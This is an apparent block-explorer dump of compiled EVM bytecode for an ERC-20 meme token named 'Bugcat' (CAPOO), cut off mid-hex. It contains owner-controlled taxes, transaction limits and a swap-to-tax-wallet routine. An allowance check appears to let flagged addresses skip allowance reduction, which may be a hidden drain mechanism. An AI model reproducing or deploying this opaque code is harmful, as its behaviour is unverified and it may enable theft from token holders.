ffffffffffffffffffffffffffffffffff161415801561112557506110f5610879565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561115d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561119557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561158f576111d660646111c8600754600954116111b5576005546111b9565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112815750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112d4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561138e57600a5482111561131e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131590612932565b60405180910390fd5b600b548261132b856106e5565b6113359190612950565b1115611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d906129cd565b60405180910390fd5b60095f815480929190611388906129eb565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561141657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561145a576114576064611449600754600954116114365760055461143a565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b90505b5f611464306106e5565b9050600f60159054906101000a900460ff161580156114cf5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114e75750600f60169054906101000a900460ff165b80156114f65750600854600954115b8015611549575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158d57600c54811115611576576115756115708461156b84600d546119e9565b6119e9565b611a01565b5b5f4790505f811061158b5761158a47611c6c565b5b505b505b5f81111561168e576115e78160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161168591906120d2565b60405180910390a35b6116de8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117816117358284611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118248486611d3190919063ffffffff16565b60405161183191906120d2565b60405180910390a350505050565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506118c58383611d7a565b611923578181101561190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390612aa2565b60405180910390fd5b6119228484848461191d9190612ac0565b610dcd565b5b50505050565b5f808303611939575f905061199a565b5f828461194691906123a6565b90508284826119559190612b20565b14611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c90612bc0565b60405180910390fd5b809150505b92915050565b5f6119e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e6e565b905092915050565b5f8183116119f757826119f9565b815b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a3857611a37612bde565b5b604051908082528060200260200182016040528015611a665781602001602082028036833780820191505090505b50905030815f81518110611a7d57611a7c612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b4591906124cb565b81600181518110611b5957611b58612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c21959493929190612cef565b5f604051808303815f87803b158015611c38575f80fd5b505af1158015611c4a573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd0573d5f803e3d5ffd5b5050565b5f808284611ce29190612950565b905083811015611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e90612d91565b60405180910390fd5b8091505092915050565b5f611d7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ecf565b905092915050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821480611e66575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e2657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e655750611e35610879565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b905092915050565b5f8083118290611eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eab9190611fa1565b60405180910390fd5b505f8385611ec29190612b20565b9050809150509392505050565b5f838311158290611f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0d9190611fa1565b60405180910390fd5b505f8385611f249190612ac0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7382611f31565b611f7d8185611f3b565b9350611f8d818560208601611f4b565b611f9681611f59565b840191505092915050565b5f6020820190508181035f830152611fb98184611f69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fee82611fc5565b9050919050565b611ffe81611fe4565b8114612008575f80fd5b50565b5f8135905061201981611ff5565b92915050565b5f819050919050565b6120318161201f565b811461203b575f80fd5b50565b5f8135905061204c81612028565b92915050565b5f806040838503121561206857612067611fc1565b5b5f6120758582860161200b565b92505060206120868582860161203e565b9150509250929050565b5f8115159050919050565b6120a481612090565b82525050565b5f6020820190506120bd5f83018461209b565b92915050565b6120cc8161201f565b82525050565b5f6020820190506120e55f8301846120c3565b92915050565b5f805f6060848603121561210257612101611fc1565b5b5f61210f8682870161200b565b93505060206121208682870161200b565b92505060406121318682870161203e565b9150509250925092565b5f60ff82169050919050565b6121508161213b565b82525050565b5f6020820190506121695f830184612147565b92915050565b5f6020828403121561218457612183611fc1565b5b5f6121918482850161200b565b91505092915050565b6121a381611fe4565b82525050565b5f6020820190506121bc5f83018461219a565b92915050565b5f80604083850312156121d8576121d7611fc1565b5b5f6121e58582860161200b565b92505060206121f68582860161200b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122825780860481111561225e5761225d612200565b5b600185161561226d5780820291505b808102905061227b8561222d565b9450612242565b94509492505050565b5f8261229a5760019050612355565b816122a7575f9050612355565b81600181146122bd57600281146122c7576122f6565b6001915050612355565b60ff8411156122d9576122d8612200565b5b8360020a9150848211156122f0576122ef612200565b5b50612355565b5060208310610133831016604e8410600b841016171561232b5782820a90508381111561232657612325612200565b5b612355565b6123388484846001612239565b9250905081840481111561234f5761234e612200565b5b81810290505b9392505050565b5f6123668261201f565b91506123718361213b565b925061239e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461228b565b905092915050565b5f6123b08261201f565b91506123bb8361201f565b92508282026123c98161201f565b915082820484148315176123e0576123df612200565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61241b602083611f3b565b9150612426826123e7565b602082019050919050565b5f6020820190508181035f8301526124488161240f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612483601783611f3b565b915061248e8261244f565b602082019050919050565b5f6020820190508181035f8301526124b081612477565b9050919050565b5f815190506124c581611ff5565b92915050565b5f602082840312156124e0576124df611fc1565b5b5f6124ed848285016124b7565b91505092915050565b5f6040820190506125095f83018561219a565b612516602083018461219a565b9392505050565b5f819050919050565b5f819050919050565b5f61254961254461253f8461251d565b612526565b61201f565b9050919050565b6125598161252f565b82525050565b5f60c0820190506125725f83018961219a565b61257f60208301886120c3565b61258c6040830187612550565b6125996060830186612550565b6125a6608083018561219a565b6125b360a08301846120c3565b979650505050505050565b5f815190506125cc81612028565b92915050565b5f805f606084860312156125e9576125e8611fc1565b5b5f6125f6868287016125be565b9350506020612607868287016125be565b9250506040612618868287016125be565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61267c602483611f3b565b915061268782612622565b604082019050919050565b5f6020820190508181035f8301526126a981612670565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61270a602283611f3b565b9150612715826126b0565b604082019050919050565b5f6020820190508181035f830152612737816126fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612798602583611f3b565b91506127a38261273e565b604082019050919050565b5f6020820190508181035f8301526127c58161278c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612826602383611f3b565b9150612831826127cc565b604082019050919050565b5f6020820190508181035f8301526128538161281a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6128b4602983611f3b565b91506128bf8261285a565b604082019050919050565b5f6020820190508181035f8301526128e1816128a8565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61291c601983611f3b565b9150612927826128e8565b602082019050919050565b5f6020820190508181035f83015261294981612910565b9050919050565b5f61295a8261201f565b91506129658361201f565b925082820190508082111561297d5761297c612200565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129b7601a83611f3b565b91506129c282612983565b602082019050919050565b5f6020820190508181035f8301526129e4816129ab565b9050919050565b5f6129f58261201f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a2757612a26612200565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612a8c602883611f3b565b9150612a9782612a32565b604082019050919050565b5f6020820190508181035f830152612ab981612a80565b9050919050565b5f612aca8261201f565b9150612ad58361201f565b9250828203905081811115612aed57612aec612200565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b2a8261201f565b9150612b358361201f565b925082612b4557612b44612af3565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612baa602183611f3b565b9150612bb582612b50565b604082019050919050565b5f6020820190508181035f830152612bd781612b9e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6a81611fe4565b82525050565b5f612c7b8383612c61565b60208301905092915050565b5f602082019050919050565b5f612c9d82612c38565b612ca78185612c42565b9350612cb283612c52565b805f5b83811015612ce2578151612cc98882612c70565b9750612cd483612c87565b925050600181019050612cb5565b5085935050505092915050565b5f60a082019050612d025f8301886120c3565b612d0f6020830187612550565b8181036040830152612d218186612c93565b9050612d30606083018561219a565b612d3d60808301846120c3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d7b601b83611f3b565b9150612d8682612d47565b602082019050919050565b5f6020820190508181035f830152612da881612d6f565b905091905056fea2646970667358221220e8b127d1c266e8ad9052a2312170f39fee1865e4d15d917b9029f107c7b57ec664736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c80636ec88c0b11610094578063937ce5ff11610063578063937ce5ff1461033357806395d89b4114610349578063a9059cbb14610373578063dd62ed3e146103af578063f3200c91146103eb57610113565b80636ec88c0b146102a157806370a08231146102b7578063715018a6146102f35780638da5cb5b1461030957610113565b806320800a00116100db57806320800a00146101d157806323b872dd146101e75780632f70492414610223578063313ce5671461024d5780633b950ba21461027757610113565b806306fdde0314610117578063095ea7b3146101415780630d5eb7751461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611fa1565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612052565b610452565b60405161017491906120aa565b60405180910390f35b348015610188575f80fd5b5061019161046f565b60405161019e91906120d2565b60405180910390f35b3480156101b2575f80fd5b506101bb610475565b6040516101c891906120d2565b60405180910390f35b3480156101dc575f80fd5b506101e5610498565b005b3480156101f2575f80fd5b5061020d600480360381019061020891906120eb565b610579565b60405161021a91906120aa565b60405180910390f35b34801561022e575f80fd5b506102376105a2565b60405161024491906120d2565b60405180910390f35b348015610258575f80fd5b506102616105a8565b60405161026e9190612156565b60405180910390f35b348015610282575f80fd5b5061028b6105b0565b60405161029891906120d2565b60405180910390f35b3480156102ac575f80fd5b506102b56105b6565b005b3480156102c2575f80fd5b506102dd60048036038101906102d8919061216f565b6106e5565b6040516102ea91906120d2565b60405180910390f35b3480156102fe575f80fd5b5061030761072b565b005b348015610314575f80fd5b5061031d610879565b60405161032a91906121a9565b60405180910390f35b34801561033e575f80fd5b506103476108a0565b005b348015610354575f80fd5b5061035d610ce4565b60405161036a9190611fa1565b60405180910390f35b34801561037e575f80fd5b5061039960048036038101906103949190612052565b610d21565b6040516103a691906120aa565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d091906121c2565b610d3e565b6040516103e291906120d2565b60405180910390f35b3480156103f6575f80fd5b506103ff610dc0565b60405161040c91906120d2565b60405180910390f35b60606040518060400160405280600681526020017f4275676361740000000000000000000000000000000000000000000000000000815250905090565b5f61046561045e610dc6565b8484610dcd565b6001905092915050565b600b5481565b5f6009600a610484919061235c565b633b9aca0061049391906123a6565b905090565b6104a0610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461052c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052390612431565b60405180910390fd5b610534610879565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610576573d5f803e3d5ffd5b50565b5f610585848484610f90565b61059784610591610dc6565b8461183f565b600190509392505050565b600a5481565b5f6009905090565b600d5481565b6105be610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064190612431565b60405180910390fd5b6009600a610658919061235c565b633b9aca0061066791906123a6565b600a819055506009600a61067b919061235c565b633b9aca0061068a91906123a6565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6106bf919061235c565b633b9aca006106ce91906123a6565b6040516106db91906120d2565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610733610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690612431565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108a8610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092b90612431565b60405180910390fd5b600f60149054906101000a900460ff1615610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612499565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6691906124cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1091906124cb565b6040518363ffffffff1660e01b8152600401610b2d9291906124f6565b6020604051808303815f875af1158015610b49573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6d91906124cb565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bf430600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610be0919061235c565b633b9aca00610bef91906123a6565b610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c3c306106e5565b5f80610c46610879565b426040518863ffffffff1660e01b8152600401610c689695949392919061255f565b60606040518083038185885af1158015610c84573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ca991906125d2565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b60606040518060400160405280600581526020017f4341504f4f000000000000000000000000000000000000000000000000000000815250905090565b5f610d34610d2d610dc6565b8484610f90565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290612692565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612720565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8391906120d2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff5906127ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110639061283c565b60405180910390fd5b5f81116110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906128ca565b60405180910390fd5b5f6110b7610879565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561112557506110f5610879565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561115d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561119557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561158f576111d660646111c8600754600954116111b5576005546111b9565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112815750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112d4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561138e57600a5482111561131e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131590612932565b60405180910390fd5b600b548261132b856106e5565b6113359190612950565b1115611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d906129cd565b60405180910390fd5b60095f815480929190611388906129eb565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561141657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561145a576114576064611449600754600954116114365760055461143a565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b90505b5f611464306106e5565b9050600f60159054906101000a900460ff161580156114cf5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114e75750600f60169054906101000a900460ff165b80156114f65750600854600954115b8015611549575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158d57600c54811115611576576115756115708461156b84600d546119e9565b6119e9565b611a01565b5b5f4790505f811061158b5761158a47611c6c565b5b505b505b5f81111561168e576115e78160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161168591906120d2565b60405180910390a35b6116de8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117816117358284611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118248486611d3190919063ffffffff16565b60405161183191906120d2565b60405180910390a350505050565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506118c58383611d7a565b611923578181101561190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390612aa2565b60405180910390fd5b6119228484848461191d9190612ac0565b610dcd565b5b50505050565b5f808303611939575f905061199a565b5f828461194691906123a6565b90508284826119559190612b20565b14611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c90612bc0565b60405180910390fd5b809150505b92915050565b5f6119e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e6e565b905092915050565b5f8183116119f757826119f9565b815b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a3857611a37612bde565b5b604051908082528060200260200182016040528015611a665781602001602082028036833780820191505090505b50905030815f81518110611a7d57611a7c612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b4591906124cb565b81600181518110611b5957611b58612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c21959493929190612cef565b5f604051808303815f87803b158015611c38575f80fd5b505af1158015611c4a573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd0573d5f803e3d5ffd5b5050565b5f808284611ce29190612950565b905083811015611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e90612d91565b60405180910390fd5b8091505092915050565b5f611d7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ecf565b905092915050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821480611e66575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e2657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e655750611e35610879565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b905092915050565b5f8083118290611eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eab9190611fa1565b60405180910390fd5b505f8385611ec29190612b20565b9050809150509392505050565b5f838311158290611f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0d9190611fa1565b60405180910390fd5b505f8385611f249190612ac0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7382611f31565b611f7d8185611f3b565b9350611f8d818560208601611f4b565b611f9681611f59565b840191505092915050565b5f6020820190508181035f830152611fb98184611f69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fee82611fc5565b9050919050565b611ffe81611fe4565b8114612008575f80fd5b50565b5f8135905061201981611ff5565b92915050565b5f819050919050565b6120318161201f565b811461203b575f80fd5b50565b5f8135905061204c81612028565b92915050565b5f806040838503121561206857612067611fc1565b5b5f6120758582860161200b565b92505060206120868582860161203e565b9150509250929050565b5f8115159050919050565b6120a481612090565b82525050565b5f6020820190506120bd5f83018461209b565b92915050565b6120cc8161201f565b82525050565b5f6020820190506120e55f8301846120c3565b92915050565b5f805f6060848603121561210257612101611fc1565b5b5f61210f8682870161200b565b93505060206121208682870161200b565b92505060406121318682870161203e565b9150509250925092565b5f60ff82169050919050565b6121508161213b565b82525050565b5f6020820190506121695f830184612147565b92915050565b5f6020828403121561218457612183611fc1565b5b5f6121918